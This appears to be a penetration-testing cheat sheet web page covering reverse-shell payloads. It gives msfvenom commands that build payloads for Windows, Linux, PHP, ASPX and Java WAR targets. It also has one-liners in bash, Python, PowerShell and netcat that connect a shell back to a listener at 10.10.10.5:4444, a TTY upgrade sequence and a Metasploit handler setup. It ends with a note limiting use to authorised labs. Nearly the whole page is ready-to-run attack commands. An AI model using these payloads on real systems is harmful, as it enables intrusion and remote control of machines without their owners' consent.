On this page 5 sections
MSFvenom Binary & Web Payload Cheat Sheet
Generate staged and unstaged reverse shells for Windows, Linux and common web application environments. Replace LHOST and LPORT with the listener address and port for your authorised laboratory.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o meterpreter.exemsfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elfmsfvenom -p php/reverse_php LHOST=10.10.10.5 LPORT=4444 -f raw -o shell.phpmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f aspx -o shell.aspxmsfvenom -p java/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f war -o shell.warReverse Shell One-Liners
Quick reverse-shell commands for controlled command-execution laboratories. Start the listener before executing the selected command and adjust the IP address and port.
The -e option is not available in every Netcat implementation. Check the installed version when this command is rejected.
nc -lvnp 4444bash -i >& /dev/tcp/10.10.10.5/4444 0>&1python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"nc -e /bin/bash 10.10.10.5 4444Full Interactive TTY Shell Upgrade
A basic reverse shell may lack tab completion, command history, terminal resizing and reliable CTRL+C handling. The following sequence upgrades a Linux shell using Python and local terminal controls.
Press Enter after bringing the session back to the foreground if the prompt does not immediately appear.
python3 -c 'import pty; pty.spawn("/bin/bash")'Press CTRL+Zstty raw -echo; fgreset
export TERM=xterm-256color
export SHELL=bash
stty rows 38 columns 116Operational Checklist
Confirm the payload architecture, operating system and handler configuration before execution. The payload name, listener payload, LHOST and LPORT must be compatible.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
runAuthorised Use
Educational reference for controlled laboratories and authorised systems only. Payload generation and reverse-shell testing must not be performed against systems without explicit permission.